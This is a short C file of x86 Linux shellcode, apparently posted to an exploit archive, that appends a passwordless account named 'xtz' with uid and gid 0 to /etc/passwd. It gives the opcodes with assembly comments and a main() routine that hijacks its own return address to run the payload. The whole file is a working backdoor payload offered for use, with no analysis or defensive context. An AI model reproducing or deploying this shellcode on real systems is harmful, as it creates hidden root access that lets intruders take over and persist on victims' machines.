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linux/x86 Adduser without Password to /etc/passwd 59 bytes
[==========================================================
linux/x86 Adduser without Password to /etc/passwd 59 bytes
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/*
* (linux/x86) adds user 'xtz' without password to /etc/passwd - 59 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x6a\x05" // push $0x5
//
// <_exit>:
//
"\x58" // pop %eax
"\x99" // cltd
"\x31\xc9" // xor %ecx,%ecx
"\x66\xb9\x01\x04" // mov $0x401,%cx
"\x52" // push %edx
"\x68\x73\x73\x77\x64" // push $0x64777373
"\x68\x63\x2f\x70\x61" // push $0x61702f63
"\x68\x2f\x2f\x65\x74" // push $0x74652f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x68\x3a\x3a\x3a\x0a" // push $0xa3a3a3a
"\x68\x3a\x30\x3a\x30" // push $0x303a303a
"\x68\x78\x74\x7a\x3a" // push $0x3a7a7478
"\x89\xc3" // mov %eax,%ebx
"\xb0\x04" // mov $0x4,%al
"\x89\xe1" // mov %esp,%ecx
"\xb2\x0c" // mov $0xc,%dl
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x1
"\xeb\xc7"; // jmp <_exit>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
# 0day.today [2024-12-24] #